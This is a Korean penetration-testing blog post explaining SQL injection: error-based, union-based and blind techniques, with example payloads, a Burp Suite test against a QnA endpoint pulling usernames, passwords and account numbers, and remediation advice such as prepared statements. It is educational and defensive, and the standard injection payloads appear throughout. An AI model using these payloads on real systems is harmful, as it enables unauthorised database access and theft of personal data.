[모의해킹] SQL Injection(feat. 공격 유형 및 예시, 점검 실습)

cielo ru·2024년 8월 5일
0

모의해킹

목록 보기
11/14
post-thumbnail

➰ 취약점 개요

SQL Injection(SQL 삽입)은 사용자가 간섭 가능한 매개변수(URL 파라미터, XML 등)에 의해 SQL 질의문이 완성되는 점을 이용하여, 개발자가 예상하지 못했던 SQL 문장이 실행되게 함으로써 비정상 질의 가능 여부를 점검하는 공격 기법이다.

이 취약점은 주로 애플리케이션이 사용자 입력을 제대로 검증하지 않고 SQL 쿼리에 포함시키는 경우 발생한다.

'여기어때'에서 발생한 개인정보 유출사건과 '뽐뿌'에서 발생한 개인정보 유출 사건 모두 SQL Injection 을 통해 발생한 피해이다.

➰ 취약점 내용

대화형 웹사이트는 사용자의 입력 값을 이용하여 데이터 베이스 접근을 위한 SQL쿼리를 만들어 구현된다. SQL Injection은 웹 애플리케이션과 데이터베이스 간의 연동에서 발생하는 취약점으로, 공격자가 입력 폼에 악의적으로 조작된 쿼리를 삽입하여 데이터베이스 정보를 불법적으로 열람하거나 조작할 수 있는 취약점이다.

비정상적인 SQL 쿼리로 DBMS 및 데이터(Data)를 열람하거나 조작 가능하므로 사용자의 입력 값에 대한 필터링을 구현해야 한다.

📍 SQL Injection에 관하여!(feat. 경험)
SQL 인젝션은 테스트를 통해서는 발견하기 힘들지만 스캐닝툴이나 보안솔루션들을 거치면 보통 쉽게 발견되기 때문에 탐지하기는 쉽다. 최근에는 이러한 스캐닝툴이나 점검 툴들이 매우 잘나오고 있다.
하지만 공격에 성공할 경우, DB에 직접 접근이 가능하고 개인정보유출 등 큰 피해를 입힐 수 있기 때문에 보안에 각별한 주의가 필요하다.

➿ SQL Injection 종류

1) Error based SQL Injection

가장 대중적인 방법으로, 공격자가 데이터베이스 시스템의 오류 메시지를 통해 시스템의 내부 정보를 획득하는 방법이다. 이 방법은 오류 메시지를 통해 테이블 구조, 열 이름, 데이터베이스 버전 등의 정보를 얻을 수 있다.

1. 일반적인 sql 예시

아래와 같은 사용자 입력폼이 있다고 가정해보자.

SELECT * FROM users WHERE username = '$username' AND password = '$password';

2. 구문

로그인 폼에서 username 대신 아래 구문을 입력하면 된다.

' OR 1=1; --

3. 실행되는 SQL문

위 구문을 입력하면 아래와 같은 sql 문이 완성되고 실행된다.

SELECT * FROM users WHERE username = '[구문이 들어가는 위치]' AND password = '$password';

SELECT * FROM users WHERE username = '' OR 1=1; --' AND password = '';
  • ' 를 통해 where 절을 닫아준다.
  • '1=1'은 항상 참이므로 구문을 항상 참으로 만든다.
  • --를 이용해 그 뒤의 모든 쿼리문을 주석처리해준다.

4. 에러메시지를 통한 정보 획득

SQL 문이 작동하는 것을 확인하면 특정 정보를 얻기 위해, 데이터베이스에서 의도적으로 오류를 유발하는 SQL 코드를 삽입한다.

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y); --
  • ' 를 통해 where 절을 닫아준다.
  • select~~ : 쿼리문에서 중복된 항목을 생성하려 시도하므로, MySQL에서 오류를 발생시킬 수 있다. 오류 메시지는 일반적으로 데이터베이스 이름과 같은 내부 정보를 포함한다.
    - 시스템 정보를 모두 불러오는 쿼리문으로 시도해도 된다.
  • --를 이용해 그 뒤의 모든 쿼리문을 주석처리한다.

5. 결과 확인

에러 메시지를 사용자에게 그대로 노출하는지 확인한다. 또한 그 안에 중요한 내부 정보가 포함되어 있는지 확인한다.


2) Union base SQL Injection

Union-Based SQL Injection은 UNION SQL 연산자를 악용하여 공격자가 추가적인 데이터를 반환하게 하는 기법이다. 두 개 이상의 SELECT 쿼리의 결과를 하나의 결과 집합으로 결합하는 UNION 명령어의 특성을 이용하며, 원래의 쿼리 결과에 추가적인 데이터를 포함시켜 민감한 정보를 유출시킬 수 있다.

1. 일반적인 sql 예시

검색 기능이 있는 웹사이트에서는 아래와 같은 쿼리로 데이터를 조회한다.

SELECT name, description FROM products WHERE category = '$category';
  • $category는 사용자가 입력하는 값이다.

2. 구문

UNION 연산자를 사용하기 위해서는 두 쿼리의 컬럼 수가 동일해야 한다.
따라서 ORDER BY 절이나 HAVING을 이용한 오류 메시지를 통해 원래 쿼리에서 반환되는 컬럼의 수를 파악한다.

🌱컬럼 수 확인 쿼리

' ORDER BY 3; --

' UNION SELECT NULL, NULL; --

아래의 공격 쿼리를 통해 원하는 정보를 추출한다.

🌱공격 쿼리

' UNION SELECT username, password FROM users; --

3. 실행되는 SQL문

SELECT name, description FROM products WHERE category = '' 
UNION SELECT username, password FROM users; --
  • ' 를 통해 where 절을 닫아준다.
  • UNION SELECT~~ : 민감한 정보(사용자 이름, 비밀번호 해시)를 포함한 테이블을 찾은 후, 이를 반환하도록 시도한다.
  • --를 이용해 그 뒤의 모든 쿼리문을 주석처리한다.

4. 결과 확인

반환된 데이터에서 필요한 정보를 확인한다. 정보를 확인한 후 더 많은 정보를 추출하는 추가적인 공격을 수행할 수 있다.


3) Blind SQL Injection

응답 페이지에 직접적으로 데이터베이스의 결과가 표시되지 않을 때 사용되는 공격 기법이다. Limit, SUBSTR, ASCII를 사용해서 조건이 참이면 페이지가 정상적으로 출력되고 그렇지 않을 경우 출력되지 않음으로 구분이 가능하다.

1. 일반적인 sql 예시

SELECT * FROM users WHERE id = $id;
  • $id 사용자가 입력하는 값이다.

2. 구문

1' AND 1=1; --

1' AND (SELECT LENGTH(database())) = 8; -- //길이 추출

1' AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1) = 'a'; -- //문자 하나씩 추출
  • 값을 조금씩 바꿔가며 데이터베이스 이름의 길이가 8자인지를 판단할 수 있다.

  • 테이블 이름 또한 값을 조금씩 바꿔가며 데이터베이스 이름을 추출할 수 있다.

3. 실행되는 SQL문

SELECT * FROM users WHERE id = '1' AND (SELECT LENGTH(database())) = 8; -- ';
  • (SELECT LENGTH(database())) = 8는 현재 데이터베이스의 이름 길이가 8인지 여부를 확인한다.
    -- 이후는 주석 처리되어 무시된다.
  • 데이터베이스 이름의 길이가 8일 때, id가 '1'인 사용자 정보를 반환한다.
SELECT * FROM users WHERE id = '1' AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1) = 'a'; -- ';
  • SUBSTRING(table_name, 1, 1)는 table_name에서 첫 번째 문자를 추출한다.

  • FROM information_schema.tables WHERE table_schema = DATABASE()은 현재 데이터베이스의 테이블 이름을 가져온다.

  • LIMIT 0,1은 첫 번째 테이블만 조회한다.

  • 만약 첫 번째 테이블 이름의 첫 번째 문자가 'a'라면, id가 '1'인 사용자 정보를 반환한다.

4. 결과 확인

참/거짓 조건에 따라 응답 시간이 달라지는 것을 이용하여 공격자는 데이터를 추출할 수 있다.

📍 이 외에 Stored Procedure based SQL Injection 기법Mass SQL Injection 등이 있지만 실제로 많이 사용하는 기법이 아니기 때문에 생략했다.

➰ 점검기준

🌱 양호

  • 사용자 입력을 SQL 쿼리로 전달할 때 입력값의 유효성을 철저히 검증하고, 예외 처리를 통해 SQL Injection을 방지하는 코드를 구현하였다.

  • Prepared statements와 매개변수화된 쿼리(parameterized queries)를 사용하여 입력값이 쿼리의 일부분으로 해석되지 않는다.

  • 입력값에 대한 길이, 형식, 범위 등의 검증을 수행한다.

💊 취약

  • 사용자 입력값을 SQL 쿼리에 직접 포함시켜 사용하는 경우 취약이다.

  • 데이터베이스 오류 메시지가 클라이언트에게 그대로 노출된다.

  • 준비된 쿼리나 매개변수화된 쿼리를 사용하지 않고, 문자열 연결을 통해 쿼리를 생성한다.

➰ 점검 절차

사용자로부터 전달되는 모든 파라미터에 임의의 쿼리문을 주입하여 유도된 값이 나오는지를 점검한다.

  1. Burp suite로 QnA 게시판(/api/qna/view) 에서 게시글 조회 요청을 가로챈다.
  1. 요청 body의 enc_data를 복호화하면 qna_id가 전달되는 것 확인할 수 있다.
  1. 평문으로 요청을 보내는 것이 아닌 암호화된 데이터를 요청하기 때문에 아래의 SQL 쿼리문을 암호화한다.

    {"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}

  1. 암호화된 쿼리문을 기존 enc_data 대신에 넣어서 요청을 보낸다.
  • 게시판의 내용을 조회하는 기능인데 사용자 이름, 비밀번호, 계좌번호 등의 정보가 조회되는 것을 확인할 수 있다.
    => 점검결과 : 취약
  1. 응답값을 frida로 확인한다.

    5-2. 📍 [양호한 경우 예시]
    SQL Injection 구문에 대한 필터링이 잘 되어 있는 경우, 아래와 같이 '비정상적인 접근입니다'와 같이 DB 에러페이지가 뜨고 접근이 되지 않는다.

➰ 대응 방안

  1. 입력 값에 대한 검증 로직을 구현하여 사전에 정의된 특수 문자들이 입력되지 않도록 조치한다.

    • 화이트리스트를 사용하여 허용된 입력값만 통과시키도록 한다.
    • 사용자 입력값의 길이, 데이터 형식, 허용된 문자 등을 검증한다.
  2. Prepared Statement 구문을 사용하여 개발을 함으로써 입력 값에 들어가는 데이터는 단순히 문자열로 처리되도록 조치한다.

  3. 불필요한 데이터베이스 에러 메시지가 사용자에게 노출이 되지 않도록 주의한다.

➿ 내 생각

SQL Injection 은 보안을 모르는 사람이라도 한번쯤 들어봤을 취약점이다. 실제로 현업에서 SQL Injection을 시도했을 때 공격에 성공하는 경우가 많았다. 하지만 공격에 성공하더라도 민감한 정보는 추출되지 않고 중요한 정보의 경우 검증을 수행했다. 이러한 경우 공격에 성공하더라도 취약점으로 치지 않는다. 최근에는 보안 솔루션, 정적 분석 도구에서 대부분의 SQL Injection을 알아서 처리해준다.

그래서 내 생각에는 SQL Injection 을 점검하는 방법보다는 SQL Injection 이 일어나지 않도록 시큐어 코딩을 하는 방법을 알아두는 것이 더 필요한 것 같다. 그래도 SQL Injection 에 대해서 좀 더 공부하고 싶다면 '워게임'이라고 게임을 통해 학습할 수 있는 방법이 있다.

  1. https://ctflearn.com/
  2. https://dreamhack.io/wargame

최근에는 워게임 관련 다양한 사이트들이 있는 것 같은데 1단계부터 차근차근히 풀어보면 된다.

➰ 참고

profile
Cloud Engineer & BackEnd Developer

0개의 댓글